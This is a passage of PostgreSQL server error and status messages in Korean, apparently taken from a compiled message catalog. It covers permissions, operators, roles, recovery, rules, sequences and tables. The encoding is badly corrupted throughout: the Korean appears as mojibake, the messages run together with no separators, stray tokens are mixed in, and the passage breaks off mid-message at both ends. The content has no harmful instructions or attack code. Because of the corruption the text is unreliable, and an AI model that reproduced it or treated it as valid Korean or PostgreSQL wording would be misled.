수 있ìŒ_^_ ë°”ì´ë„ˆë¦¬ ì—°ì‚°ìžë§Œì´ merge joiní•  수 있ìŒ"%s" 언어ì—는 í•˜ë‚˜ì˜ AS 항목만 필요함공유 관계만 pg_global í…Œì´ë¸”스페ì´ìŠ¤ì— ë°°ì¹˜í•  수 있ìŒ"%s" í…Œì´ë¸”ë§Œì´ ì²´í¬ ì œì•½ ì¡°ê±´ì—서 ì°¸ì¡°ë  ìˆ˜ 있습니다op ANY/ALL (array) ì—서는 set ì¸ìˆ˜ë“¤ì„ ì§€ì›í•˜ì§€ 않습니다op ANY/ALL (array) 는 ìš°ì¸¡ì— ë°°ì—´ì´ ìžˆì–´ì•¼ 합니다.op ANY/ALL (array) 는 set ì„ return 하지 않는 ì—°ì‚°ìžê°€ 요구 ë©ë‹ˆë‹¤.op ANY/ALL (array) 는 boolean ì„ ì–»ê¸° 위한 ì—°ì‚°ìžê°€ 필요합니다.닫히지 ì•Šì€ path 는 í´ë¦¬ê³¤ìœ¼ë¡œ 변환할 수 없습니다.ìš´ì˜ì²´ì œ 오류 %d%s ì—°ì‚°ìž%s ì—°ì‚°ìžê°€ ì´ë¯¸ 있ìŒ%s ì—°ì‚°ìžê°€ ì—†ìŒ, 건너 ëœ€ì—°ì‚°ìž ì¸ìˆ˜ 형ì‹ì´ ALTER OPERATOR FAMILYì— ì§€ì •ë˜ì–´ 있어야 함"%s" ì—°ì‚°ìž ì†ì„±ì„ 처리할 수 ì—†ìŒì—°ì‚°ìžëŠ” ìžì‹ ì˜ negator나 sort ì—°ì‚°ìžê°€ ë  ìˆ˜ 없습니다"%s" ì—°ì‚°ìž í´ëž˜ìŠ¤ëŠ” %s ìžë£Œí˜•ì„ ì‚¬ìš©í•  수 없습니다"%s" ì—°ì‚°ìž í´ëž˜ìŠ¤ëŠ” "%s" ì¸ë±ìФ 액세스 방법ì—서 사용할 수 없습니다"%s" ì—°ì‚°ìž í´ëž˜ìФì—는 ì´ë¯¸ "%s" 액세스 ë°©ë²•ì´ ì‚¬ìš©ë˜ê³  있습니다"%s" ì—°ì‚°ìž í´ëž˜ìФ("%s" 액세스 ë°©ë²•ì„ ì‚¬ìš©í•˜ëŠ”)는 ì´ë¯¸ "%s" 스키마 ì•ˆì— ìžˆìŠµë‹ˆë‹¤%s ì—°ì‚°ìž í´ëž˜ìФ, %s ì¸ë±ìФ 액세스 방법OID %u ì—°ì‚°ìž í´ëž˜ìФ ì—†ìŒì—°ì‚°ìž ì—†ìŒ: %sì—°ì‚°ìžê°€ 고유하지 않습니다: %sì—°ì‚°ìž í”„ë¡œì‹œì €ëŠ” 반드시 지정해 ì£¼ì–´ì•¼í•©ë‹ˆë‹¤ì´ ì—°ì‚°ìžëŠ” ì‹¤í–‰ì‹œì— í˜• ê°•ì œì „í™”ì´ í•„ìš”í•©ë‹ˆë‹¤: %sì—°ì‚°ìžê°€ 너무 ê¹ë‹ˆë‹¤.OID %u ì—°ì‚°ìž ì—†ìŒì—´ë ¤ 있는 파ì¼ì´ 너무 많습니다: %m; 다른 í”„ë¡œê·¸ëž¨ë“¤ì„ ì¢€ ë‹«ê³  다시 시ë„í•´ 보십시오메모리 부족메모리 부족
"%s" 해시 ì¸ë±ìФì—서 오버플로우 페ì´ì§€ 초과공유 메모리 부족범위를 벗어난 타임ë¼ì¸ ID %u (ì´ì „ê°’ %u), 로그파ì¼: %u, 세그먼트 %u, 오프셋 %u%s ê°œì²´ì˜ ì†Œìœ ì£¼íŽ˜ì´ì§€ %u, 릴레ì´ì…˜ %u, ë°ì´í„°ë² ì´ìФ %upam_acct_mgmt 실패: %sPAM ì¸ì¦ 실패: %spam_set_item(PAM_CONV) 실패: %spam_set_item(PAM_USER) 실패: %s"%s" 매개 변수는 ë³€ê²½ë  ìˆ˜ ì—†ìŒ"%s" 매개 변수는 지금 변경 ë  ìˆ˜ ì—†ìŒ"%s" 매개 ë³€ìˆ˜ê°’ì€ ì—°ê²° 시작한 ë’¤ì—는 변경할 수 없습니다"%s" 매개 ë³€ìˆ˜ì˜ ê°’ì€ boolean ê°’ì´ì–´ì•¼í•©ë‹ˆë‹¤."%s" 매개 ë³€ìˆ˜ì˜ ê°’ì€ ìˆ«ìží˜•ì´ì–´ì•¼í•©ë‹ˆë‹¤.??? parameter $%d of type %s 는 expected type %s 로 강요할 수 없다매개 변수: %s구문 %s: %sì‚¬ìš©ìž "%s"ì˜ password ì¸ì¦ì„ 실패했습니다액세스 권한 ì—†ìŒ%s 문ìžì½”드변환규칙(conversion) 액세스 권한 ì—†ìŒ"%s" ë°ì´í„°ë² ì´ìФ 액세스 권한 ì—†ìŒ%s ë°ì´í„°ë² ì´ìФ 액세스 권한 ì—†ìŒ%s 함수 액세스 권한 ì—†ìŒ%s 프로시주얼 언어 액세스 권한 ì—†ìŒ%s ì—°ì‚°ìž ì•¡ì„¸ìŠ¤ 권한 ì—†ìŒ%s ì—°ì‚°ìž í´ëž˜ìФ 액세스 권한 ì—†ìŒ%s 릴레ì´ì…˜(relation) 액세스 권한 ì—†ìŒ%s 스키마(schema) 액세스 권한 ì—†ìŒ%s 시퀀스 액세스 권한 ì—†ìŒ%s í…Œì´ë¸”스페ì´ìФ 액세스 권한 ì—†ìŒ%s ìžë£Œí˜• 액세스 권한 ì—†ìŒë°ì´í„°ë² ì´ìФ 소유주를 바꿀 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤"%s" ë°ì´í„°ë² ì´ìŠ¤ë¥¼ 복사할 ê¶Œí•œì´ ì—†ìŒ"%s.%s" 만들 ê¶Œí•œì´ ì—†ìŒë°ì´í„°ë² ì´ìŠ¤ë¥¼ 만들 ê¶Œí•œì´ ì—†ìŒë¡¤ 만들 권한 ì—†ìŒ"%s" í…Œì´ë¸”스페ì´ìŠ¤ë¥¼ 만들 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤"%s" ë°ì´í„°ë² ì´ìФì—서 임시 파ì¼ì„ 만들 ê¶Œí•œì´ ì—†ìŒê°œì²´ë¥¼ 삭제할 ê¶Œí•œì´ ì—†ìŒë¡¤ì„ 삭제할 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ ë내기 작업 권한 ì—†ìŒê°œì²´ ê¶Œí•œì„ ìž¬ 지정할 ê¶Œí•œì´ ì—†ìŒë°ì´í„°ë² ì´ìФ ì´ë¦„ì„ ë°”ê¿€ ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤ë¡¤ ì´ë¦„ 바꾸기 권한 ì—†ìŒ"%s" 매개 변수를 지정할 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤."%s" 롤 ê¶Œí•œì„ ì§€ì •í•  수 ì—†ìŒì„¸ì…˜ ì¸ì¦ì„ 지정하기 위한 ê¶Œí•œì´ ì—†ìŒì•¡ì„¸ìФ 권한 ì—†ìŒ: "%s" 시스템 카탈로그임액세스 권한 ì—†ìŒ: "%s" 개체는 시스템 트리거임pg_hba.confê°€ 다시 로드ë˜ì§€ 않ìŒ<qbq>pg_stop_backupì—서 ì•„ì¹´ì´ë¹™ì´ 완료ë˜ê¸°ë¥¼ 기다리고 있ìŒ(%dì´ˆ 경과)%d ì—´("%s" ì¸ë±ìФ)ì— ëŒ€í•œ picksplit 메서드 실패통계 수집기ì—서 poll() 작업 오류: %m"%s" portal 실행할 수 ì—†ìŒ"%s" portal ì—†ìŒë¯¸ë¦¬ í™•ë³´ëœ ê³µìœ  메모리 ì˜ì—­ (%lu 키, %lu ID)ì´ ì—¬ì „ížˆ 사용중입니다실수형 ìžë£Œì˜ ì •ë°€ë„ ê°’ìœ¼ë¡œëŠ” ì ì–´ë„ 1 bit ì´ìƒì„ 지정해야합니다.실수형 ìžë£Œì˜ ì •ë°€ë„ ê°’ìœ¼ë¡œ 최대 54 bit 까지입니다.prepare: %s"%s" ì´ë¦„ì˜ ì¤€ë¹„ëœ ëª…ë ¹ë¬¸(prepared statement)ì´ ì´ë¯¸ 있습니다"%s" ì´ë¦„ì˜ ì¤€ë¹„ëœ ëª…ë ¹ë¬¸(prepared statement) ì—†ìŒì¤€ë¹„ëœ ëª…ë ¹ë¬¸ì´ SELECT êµ¬ë¬¸ì´ ì•„ë‹™ë‹ˆë‹¤."%s" ì´ë¦„ì˜ ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ì´ ì—†ìŠµë‹ˆë‹¤"%s" ì´ë¦„ì˜ ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ ì‹ë³„ìžê°€ 여러 ê³³ì—서 ì“°ì´ê³  있습니다기본키(primary key) 제약 ì¡°ê±´ì„ ë„ë©”ì¸ ì •ì˜ì— 사용할 수 ì—†ìŒê¸°ë³¸ê¸°(primary key)를 표현할 수 ì—†ìŒí”„로세스 %dì—서 %s(%s)ì„(를) ì·¨ë“함(%ld.%03dms 후)<qbq>프로세스 %dì€(는) %s(%s)ì— ëŒ€í•´ êµì°© ìƒíƒœê°€ ë°œìƒí•˜ì§€ 않ë„ë¡ <qbq>%ld.%03dms í›„ì— ëŒ€ê¸°ì—´ 순서를 다시 정렬함<qbq>프로세스 %dì—서 %s(%s)ì„(를) 기다리는 ë™ì•ˆ %ld.%03dms í›„ì— êµì°© ìƒíƒœë¥¼ ê°ì§€í•¨í”„로세스 %dì—서 %s(%s)ì„(를) ì·¨ë“하지 못함(%ld.%03dms 후)ì œê³µëœ ì‚¬ìš©ìž ì´ë¦„(%s) ë° ì¸ì¦ëœ ì‚¬ìš©ìž ì´ë¦„(%s)ì´ ì¼ì¹˜í•˜ì§€ 않ìŒSIGHUP 신호를 받아서, 환경설정파ì¼ì„ 다시 ì½ê³  있습니다.fast 중지 ìš”ì²­ì„ ë°›ì•˜ìŠµë‹ˆë‹¤.immediate 중지 ìš”ì²­ì„ ë°›ì•˜ìŠµë‹ˆë‹¤.ë°›ì€ ì•”í˜¸ 패킷smart 중지 ìš”ì²­ì„ ë°›ì•˜ìŠµë‹ˆë‹¤.너무 긴 길ì´(%u)ì˜ ë ˆì½”ë“œê°€ %X/%Xì— ìžˆìŒë ˆì½”드 형ì‹ì´ 등ë¡ë˜ì§€ 않았ìŒë ˆì½”ë“œì˜ ìž˜ëª»ëœ í”„ë¦¬ë§í¬ %X/%X, 해당 레코드 %X/%X%X/%Xì—는 길ì´ê°€ 0ì¸ ë ˆì½”ë“œìž„%u ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ì„ ë³µêµ¬í•¨ë³µêµ¬ 명령 íŒŒì¼ "%s"ì—서 restore_command를 지정하지 않았ìŒ%X/%Xì—서 복구 작업 시작ë¨%u 트랜잭션 중단 후 복구 중지, 시간 %s%u 트랜잭션 커밋 후 복구 중지, 시간 %s%u 트랜잭션 중단 ì „ 복구 중지, 시간 %s%u 트랜잭션 커밋 ì „ 복구 중지, 시간 %srecovery_target_inclusive = %srecovery_target_timeline = %urecovery_target_timeline = latestrecovery_target_timeline 값으로 ìž˜ëª»ëœ ìˆ«ìž: "%s"recovery_target_xid = %urecovery_target_xid 값으로 ìž˜ëª»ëœ ìˆ«ìž: "%s"<qbq>"%s" 재귀 ì¿¼ë¦¬ì˜ %d ì—´ì€ ë¹„ìž¬ê·€ ì¡°ê±´ì— %s 형ì‹ì„ í¬í•¨í•˜ëŠ”ë° ì „ì²´ì ìœ¼ë¡œëŠ” <qbq>%s 형ì‹ìž„<qbq>"%s" 재귀 ì¿¼ë¦¬ì— ë¹„ìž¬ê·€ ì¡°ê±´ í˜•íƒœì˜ UNION [ALL] <qbq>재귀 ì¡°ê±´ì´ ì—†ìŒ"%s" ì¿¼ë¦¬ì— ëŒ€í•œ 재귀 참조가 EXCEPT ë‚´ì— í‘œì‹œë˜ì§€ 않아야 함"%s" ì¿¼ë¦¬ì— ëŒ€í•œ 재귀 참조가 INTERSECT ë‚´ì— í‘œì‹œë˜ì§€ 않아야 함"%s" ì¿¼ë¦¬ì— ëŒ€í•œ 재귀 참조가 하위 쿼리 ë‚´ì— í‘œì‹œë˜ì§€ 않아야 함<qbq>"%s" ì¿¼ë¦¬ì— ëŒ€í•œ 재귀 참조가 외부 ì¡°ì¸ ë‚´ì— í‘œì‹œë˜ì§€ 않아야 함<qbq>"%s" ì¿¼ë¦¬ì— ëŒ€í•œ 재귀 참조가 비재귀 ì¡°ê±´ ë‚´ì— í‘œì‹œë˜ì§€ <qbq>않아야 함"%s" 트랜잭션 로그 íŒŒì¼ ìž¬í™œìš©í•¨%X/%Xì—서 redo 작업 완료redo í•„ìš” ì—†ìŒ%X/%Xì—서 redo 작업 시작ë¨%X/%Xì—서 다시 ì‹¤í–‰ì´ ì‹œìž‘ë¨, %X/%Xì—서 ì¼ì¹˜ì— ë„달함ìƒìœ„ 디렉터리("..") 참조는 허용ë˜ì§€ 않ìŒì°¸ì¡°ë˜ëŠ” "%s" 릴레ì´ì…˜(relation)ì€ í…Œì´ë¸”ì´ ì•„ë‹™ë‹ˆë‹¤<qbq>"%s"ì— ëŒ€í•œ 참조 무결성 쿼리("%s" 제약 ì¡°ê±´ì´ "%s"ì— ì ìš©ë¨)를 실행하면 <qbq>예기치 ì•Šì€ ê²°ê³¼ê°€ ë°œìƒí•¨regexp_split는 글로벌 ì˜µì…˜ì„ ì§€ì›í•˜ì§€ 않ìŒ<qbq>"%s" ì •ê·œì‹ì—는 "%s"ì˜ backreferenceì—서 <qbq>ìš”ì²­ëœ í•˜ìœ„ ì‹ì´ ì—†ìŒìž˜ëª»ëœ ì •ê·œì‹: %sbytea 형ì‹ì—서는 ì •ê·œì‹ ì¼ì¹˜ê°€ ì§€ì›ë˜ì§€ 않ìŒ"%s" ì´ë¦„ì˜ ë¦´ë ˆì´ì…˜(relation)ì´ ì´ë¯¸ 있습니다"%s" 릴레ì´ì…˜ì´ "%s" ìŠ¤í‚¤ë§ˆì— ì´ë¯¸ 있습니다"%s" ì´ë¦„ì˜ ë¦´ë ˆì´ì…˜(relation)ì´ ì—†ìŠµë‹ˆë‹¤FOR UPDATE/SHARE ì ˆ ë‚´ì˜ relation "%s" ì´ FROM ì ˆ ë‚´ì— ì—†ìŠµë‹ˆë‹¤"%s" 릴레ì´ì…˜ì´ "%s" ìŠ¤í‚¤ë§ˆì— ì´ë¯¸ 있습니다"%s" 릴레ì´ì…˜ì€ "%s" 릴레ì´ì…˜ì˜ 부모가 아닙니다"%s" 릴레ì´ì…˜ %u 페ì´ì§€ëŠ” 초기화ë˜ì§€ ì•Šì•˜ìŒ --- 수정함"%s.%s" ì´ë¦„ì˜ ë¦´ë ˆì´ì…˜(relation)ì´ ì—†ìŠµë‹ˆë‹¤%s 릴레ì´ì…˜ë¦´ë ˆì´ì…˜ %u, ë°ì´í„°ë² ì´ìФ %uOID %u 릴레ì´ì…˜(relation) ì—†ìŒCOPY ëª…ë ¹ì— ì‚¬ìš©í•  íŒŒì¼ ì´ë¦„으로 ìƒëŒ€ê²½ë¡œëŠ” 사용할 수 없습니다"%s" 내장 함수를 ì‚­ì œ 중"%s" ì´ë¦„ì˜ ìž˜ëª»ëœ two-phase ìƒíƒœì •ë³´ 파ì¼ì„ 삭제함"%s" íŒŒì¼ ì‚­ì œ 중"%s" ì´ë¦„ì˜ future two-phase ìƒíƒœì •ë³´ 파ì¼ì„ 삭제함"%s" ì´ë¦„ì˜ ì˜¤ëž˜ëœ two-phase ìƒíƒœì •ë³´ 파ì¼ì„ 삭제함"%s" 트랜잭션 로그 백업 히스토리 íŒŒì¼ ì‚­ì œ 중"%s" 트랜잭션 로그 íŒŒì¼ ì‚­ì œ 중요청한 문ìžê°€ 너무 커서 ì¸ì½”딩할 수 ì—†ìŒ: %dìš”ì²­ëœ ê¸¸ì´ê°€ 너무 ê¹ë‹ˆë‹¤ìš”청한 복구 중지 ì§€ì ì´ ì¼ì¹˜í•˜ëŠ” 복구 ì§€ì  ì•žì— ìžˆìŒì§€ì •한 공유 메모리 사ì´ì¦ˆê°€ size_t í¬ê¸°ë¥¼ 초과했습니다요청한 %u 타임ë¼ì¸ì€ %u ë°ì´í„°ë² ì´ìФ 시스템 타임ë¼ì¸ì˜ 하위가 아님예약ë¨ì˜ˆì•½ë¨(함수 ë˜ëŠ” í˜•ì‹ ì´ë¦„ì¼ ìˆ˜ 있ìŒ)ì•„ì¹´ì´ë¸Œì—서 "%s" 로그파ì¼ì„ 복구했ìŒê²°ê³¼ê°€ 범위를 벗어났습니다.GSS ì‚¬ìš©ìž ì´ë¦„ì„ ê²€ìƒ‰í•˜ì§€ 못함리턴 ìžë£Œí˜•ì¸ %s ìžë£Œí˜•ì€ SQL 함수ì—서 ì§€ì›ë˜ì§€ 않ìŒ_^_ %s 리턴 ìžë£Œí˜•ì€ í•˜ë‚˜ì˜ shellë§Œ 있습니다리턴 ìžë£Œí˜•ì´ í•¨ìˆ˜ ì •ì˜ì—서 지정한 %s 리턴 ìžë£Œí˜•ê³¼ 틀립니다%s ì´ë¦„ì˜ transition í•¨ìˆ˜ì˜ ë¦¬í„´ ìžë£Œí˜•ì´ %s ìžë£Œí˜•ì´ì–´ì•¼í•©ë‹ˆë‹¤"%s" 롤 ì´ë¦„ì´ ì´ë¯¸ 있습니다기타 다른 ê°œì²´ë“¤ì´ ì´ ë¡¤ì— ì˜ì¡´í•˜ê³  있어, "%s" ë¡¤ì„ ì‚­ì œí•  수 ì—†ìŒ"%s" 롤(role) ì—†ìŒ"%s" 룰(rule) ì—†ìŒ, 건너 뜀"%s" ë¡¤ì€  "%s" ë¡¤ì˜ êµ¬ì„±ì›ìž…니다role "%s" is already a member of role "%s""%s" ë¡¤ì€ "%s"ë¡¤ì˜ êµ¬ì„±ì›ì´ 아닙니다"%s" ë¡¤ì€ ì ‘ì†ì„ 허용하지 않ìŒ%s 롤%u ì—­í• ì´ ë™ì‹œì— ì‚­ì œë˜ì—ˆìŒ"%s" 롤 ì´ë¦„ì€ ë‚´ë¶€ì ìœ¼ë¡œ 사용ë˜ê³  있습니다롤(role)ì´ë¦„으로 ì ë‹¹í•˜ì§€ 않습니다%u OID ë¡¤ì´ ì—†ìŒë¡œê·¸ ìˆ˜ì§‘ì´ í™œì„± ìƒíƒœê°€ 아니므로 회전할 수 ì—†ìŒí–‰ ë¹„êµ ì—°ì‚°ìžëŠ” setì„ ë¦¬í„´í•  수 없습니다행 ë¹„êµ ì—°ì‚°ìžëŠ” booleaní˜•ì„ ë¦¬í„´í•´ì•¼í•©ë‹ˆë‹¤. %s ìžë£Œí˜•ì„ ì‚¬ìš©í•  수 없습니다행(row) 필드 갯수가 %d ìž„, 예ìƒê°’ì€ %dì—´(row)ì´ ë„ˆë¬´ í½ë‹ˆë‹¤: í¬ê¸° %lu, 최대값 %lu"%s" 룰(rule) ì—†ìŒ"%s" ì´ë¦„ì˜ ë£°(rule)ì´ "%s" í…Œì´ë¸”ì— ì´ë¯¸ 지정ë˜ì–´ìžˆìŠµë‹ˆë‹¤ "%s" 룰(rule)ì´  "%s" 관계(relation)ì— ì§€ì •ëœ ê²ƒì´ ì—†ìŒ "%s" 룰(rule)ì´  "%s" 릴레ì´ì…˜ì— ì§€ì •ëœ ê²ƒì´ ì—†ìŒ, 건너뜀"%s" ë£°ì€ %d ì´ë²¤íЏ 형태를 ì§€ì›í•˜ì§€ 않습니다%s 룰(rule), 해당 í…Œì´ë¸”: NEWì— ëŒ€í•œ 실행 룰(rule)ì€ ì•„ì§ êµ¬í˜„ë˜ì§€ 않았습니다OLDì— ëŒ€í•œ 실행 룰(rule)ì€ ì•„ì§ êµ¬í˜„ë˜ì§€ 않았습니다SELECTì— ëŒ€í•œ 룰(rule)ì€ ê·¸ ì§€ì •ì— INSTEAD SELECT ì‹¤í–‰ê·œì¹™ì„ ì§€ì •í•´ì•¼ë§Œí•©ë‹ˆë‹¤"%s" ì¸ë±ìŠ¤ë¥¼ 스캔해서 %dê°œì˜ í–‰ ë²„ì „ë“¤ì„ ì§€ì› ìŠµë‹ˆë‹¤"%s" ì´ë¦„ì˜ ìŠ¤í‚¤ë§ˆ(schema)ê°€ ì´ë¯¸ 있ìŒ"%s" 스키마(schema) ì—†ìŒ"%s" 스키마(schema) ì—†ìŒ, 건너 뜀%s 스키마스키마 ì´ë¦„ì´ ì ë‹¹ì¹˜ 않습니다OID %u 스키마 ì—†ìŒí˜•변화 í•¨ìˆ˜ì˜ ë‘번째 ì¸ìˆ˜ ìžë£Œí˜•ì€ ë°˜ë“œì‹œ integer여야합니다로그 프로세스ì—서 select() ìž‘ë™ ì‹¤íŒ¨: %mpostmasterì—서 select() ìž‘ë™ ì‹¤íŒ¨: %m통계 수집기ì—서 select() 작업 오류: %m지정한 새 타임ë¼ì¸ ID: %u"%s" 시퀀스 ì—†ìŒ"%s" 시퀀스 ì—†ìŒ, 무시함"%s" 시퀀스는 SELECT ì—´ 권한만 ì§€ì›í•¨"%s" 시퀀스는 USAGE, SELECT ë° UPDATE 권한만 ì§€ì›í•¨%s 시퀀스시퀀스 ë° ì´ ì‹œí€€ìŠ¤ê°€ ì—°ê²°ëœ í…Œì´ë¸”ì´ ê°™ì€ ìŠ¤í‚¤ë§ˆì— ìžˆì–´ì•¼ 함시퀀스 ë° ì´ ì‹œí€€ìŠ¤ê°€ ì—°ê²°ëœ í…Œì´ë¸”ì˜ ì†Œìœ ì£¼ê°€ 같아야 함서버 프로세스세션 사용ìžëŠ” ì‚­ì œ ë  ìˆ˜ 없습니다세션 사용ìžì˜ ì´ë¦„ì€ ë°”ê¿€ 수 없습니다set-values 함수(í…Œì´ë¸” 리턴 함수)ê°€ set ì •ì˜ ì—†ì´ ì‚¬ìš©ë˜ì—ˆìŠµë‹ˆë‹¤ (í…Œì´ë¸”ê³¼ 해당 ì—´ alias 지정하세요)setsockopt(IPV6_V6ONLY) 실패: %msetsockopt(SO_REUSEADDR) 실패: %msetval: %s ê°’ì€ "%s" ì‹œí€€ìŠ¤ì˜ ë²”ìœ„(%s..%s)를 벗어났습니다"%s" ì´ë¦„ì˜ ê³µìœ ë˜ëŠ” ì¸ë±ìŠ¤ëŠ” 단ì¼ì‚¬ìš©ìž 모드ì—서만 reindexí•  수 있습니다공유ë˜ëŠ” ì¸ë±ìŠ¤ë“¤ì€ initdb 명령으로 ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ë¥¼ 만든 다ìŒì—는 만들 수 없습니다"%s" í…Œì´ë¸”ì€ ê³µí†µìœ¼ë¡œ 사용하기 ë•Œë¬¸ì— ë‹¨ì¼ ì‚¬ìš©ìž ëª¨ë“œì—서만 reindex ëª…ë ¹ì„ ì‚¬ìš©í•  수 있습니다공유ë˜ëŠ” í…Œì´ë¸”ì€ initdb ë’¤ì—는 toast ë  ìˆ˜ 없습니다공유 위반서비스를 멈추고 있습니다"%s" 건너뜀 --- ì¸ë±ìФ, ë·°, 특수 시스템 í…Œì´ë¸”ë“¤ì€ ë¶„ì„í•  수 ì—†ìŒ"%s" 통과 --- ì¸ë±ìФ, ë·°, 특별 시스템 í…Œì´ë¸” ë“±ì€ ì²­ì†Œí•  수 ì—†ìŒ"%s" 건너뜀 --- í…Œì´ë¸”ì´ë‚˜ ë°ì´í„°ë² ì´ìФ ì†Œìœ ì£¼ë§Œì´ ë¶„ì„í•  수 있ìŒ"%s" 통과 --- ì´ í…Œì´ë¸”ì´ë‚˜ ë°ì´í„°ë² ì´ìŠ¤ì˜ ì†Œìœ ì£¼ë§Œ 청소할 수 있ìŒë‹¤ì‹œ 시작 ì§€ì ì„ 건너뜀, 복구가 ì´ë¯¸ 종료ë¨íŠ¹ì • í¬ê¸°ë¡œ ë°°ì—´ì„ ì ˆë‹¨í•˜ëŠ” ê¸°ëŠ¥ì€ êµ¬í˜„ë˜ì§€ 않습니다.smallintì˜ ë²”ìœ„ë¥¼ 벗어났습니다.몇몇 ë°ì´í„°ë² ì´ìŠ¤ê°€ 20ì–µ ì´ìƒì˜ íŠ¸ëžœìž­ì…˜ì„ ì²˜ë¦¬í–ˆìŒì—ë„ ë¶ˆêµ¬í•˜ê³  청소가ë˜ì§€ 않았습니다불필요한 ì¼ë¶€ 파ì¼ì´ ì´ì „ ë°ì´í„°ë² ì´ìФ 디렉터리 "%s"ì— ë‚¨ì•„ ìžˆì„ ìˆ˜ 있ìŒìµœëŒ€ ë™ì‹œ ì ‘ì†ìž 수를 초과했습니다.ì •ë ¬ ì—°ì‚°ìžëŠ” ë‹¨ì¼ ì¸ìˆ˜ 집계ì—ë§Œ 지정할 수 있ìŒì›ë³¸ ìžë£Œí˜•ê³¼ ëŒ€ìƒ ìžë£Œí˜•ì´ ì„œë¡œ 논리ì ì¸ í˜¸í™˜ì„±ì´ ì—†ìŠµë‹ˆë‹¤ì›ë³¸ ë°°ì—´ì´ ë„ˆë¬´ 작습니다.%s ì›ë³¸ ìžë£Œí˜•ì´ ì˜ì‚¬ìžë£Œí˜•(pseudo-type) 입니다ì›ë³¸ ìžë£Œí˜•ê³¼ ëŒ€ìƒ ìžë£Œí˜•ì˜ í˜•íƒœê°€ 같습니다"%s" ì›ë³¸ ë°ì´í„°ë² ì´ìŠ¤ë¥¼ 다른 사용ìžê°€ 액세스하기 시작했습니다"%s" ì›ë³¸ ì¸ì½”딩 ì—†ìŒì†ŒìФ 문ìžì—´ì´ 너무 짧아서 "%s" í˜•ì‹ í•„ë“œì— ì‚¬ìš©í•  수 ì—†ìŒë„ë©”ì¸ì— 대해 제약 ì¡°ê±´ ì§€ì—°ì„ ì§€ì •í•  수 ì—†ìŒìŠ¤íƒ ê¹Šì´ë¥¼ 초과했습니다ë…립 ì‹¤í–‰í˜•ì€ &apos;yes&apos; ë˜ëŠ” &apos;no&apos;ë§Œ 허용합니다.ìžë£Œ 복구 ìž‘ì—…ì„ ì‹œìž‘í•©ë‹ˆë‹¤ì‹œìž‘ 프로세스명령 구문: %s통계 수집기 í”„ë¡œì„¸ìŠ¤ëŒ€ìƒ í†µê³„ê°’(%d)ì´ ë„ˆë¬´ ë‚®ìŠµë‹ˆë‹¤ìž˜ëª»ëœ STORAGE ê°’: "%s"저장 ë°©ë²•ì´ ì¤‘ë³µë˜ì—ˆìŠµë‹ˆë‹¤ë¬¸ìžì—´ì´ 너무 길어서 tsvectorì— ì‚¬ìš©í•  수 ì—†ìŒ(%ldë°”ì´íЏ, 최대 %ldë°”ì´íЏ)하위필드 "%s"  는 %s ìžë£Œí˜•ì¸ë° 표현ì‹ì€ %s ìžë£Œí˜•입니다.subquery ì— ëª…ì‹œëœ ì—´ 수가 너무 ì ë‹¤subquery ì—ê°€ 너무 ë§Žì€ ì—´ì„ ê°€ì§‘ë‹ˆë‹¤FROM ì ˆ ë‚´ì˜ subquery ì—는 반드시 alias 를 가져야만 합니다subquery 는 column ì„ return í•´ 줘어야만 합니다subquery는 오로지 í•œê°œì˜ ì—´ë§Œì„ ëŒë ¤ 주어야 합니다.subquery ê°€ outer query ì—서 그룹화 ë˜ì§€ ì•Šì€ ì—´ì¸ "%s.%s"를 사용합니다사용하지 않는 "rtree" ë°©ë²•ì„ "gist" 액세스 방법으로 대체하는 중하위 íŠ¸ëžœìž­ì…˜ì´ ë¹„ì–´ìžˆì§€ ì•Šì€ SPI 스íƒì„ 남겼습니다suppress_redundant_updates_trigger: 트리거로 호출ë˜ì–´ì•¼ 함suppress_redundant_updates_trigger: ì—…ë°ì´íЏ ì „ì— í˜¸ì¶œë˜ì–´ì•¼ 함suppress_redundant_updates_trigger: ê° í–‰ì— ëŒ€í•´ 호출ë˜ì–´ì•¼ 함suppress_redundant_updates_trigger: ì—…ë°ì´íЏ 시 호출ë˜ì–´ì•¼ 함구문 오류"%s" íŒŒì¼ %u 줄 ë부분ì—서 구문 오류 있ìŒ"%s" íŒŒì¼ %u 줄ì—서 구문 오류 있ìŒ, "%s" í† í° ë¶€ê·¼ížˆìŠ¤í† ë¦¬ 파ì¼ì—서 문법오류: %srecovery command 파ì¼ì˜ 구문 오류: %s시스템 로그 프로세스"%s" í…Œì´ë¸” ì—†ìŒ"%s" í…Œì´ë¸” ì—†ìŒ, 무시함"%s" í…Œì´ë¸”ì€ without oids ì†ì„±ìœ¼ë¡œ ë§Œë“¤ì–´ì¡Œê¸°ì— OID ê°’ì„ êµ¬í•  수 없습니다테ì´ë¸” "%s" ì—는 %d ê°œì˜ ì—´ì´ ìžˆëŠ”ë°, %d ê°œì˜ ì—´ë§Œì´ ëª…ì‹œë˜ì—ˆìŠµë‹ˆë‹¤."%s" í…Œì´ë¸”ì—는 "%s" ì´ë¦„ì˜ ì œì•½ ì¡°ê±´ì´ ì—¬ëŸ¬ê°œ 있습니다"%s" í…Œì´ë¸”ì—는 사용할 수 있는 ì¸ë±ìŠ¤ê°€ 없습니다"%s" í…Œì´ë¸”ì˜ ì¸ë±ìŠ¤ë“¤ì„ ë‹¤ì‹œ 만들었습니다."%s" í…Œì´ë¸”ì´ OID ì—´ ì—†ì´ OID 있는 "%s" í…Œì´ë¸”ì—서 ìƒì† ë  ìˆ˜ 없습니다.%s í…Œì´ë¸”í…Œì´ë¸” ì´ë¦„ "%s" ê°€ 한번 ì´ìƒ 명시ë˜ì–´ 있습니다.í…Œì´ë¸” 참조 "%s" ê°€ 명확하지 않습니다 (ambiguous).í…Œì´ë¸” 참조 %u ê°€ 명확하지 않습니다 (ambiguous).í…Œì´ë¸” í–‰ 형ì‹ê³¼ 쿼리 지정 í–‰ 형ì‹ì´ ì¼ì¹˜í•˜ì§€ 않ìŒmaterialize 모드를 위한 í…Œì´ë¸” 함수 í”„ë¡œí† ì½œì´ ë’¤ì´ì–´ 오지 않았습니다한 í…Œì´ë¸”ì— ì§€ì •í•  수 있는 최대 ì—´ 수는 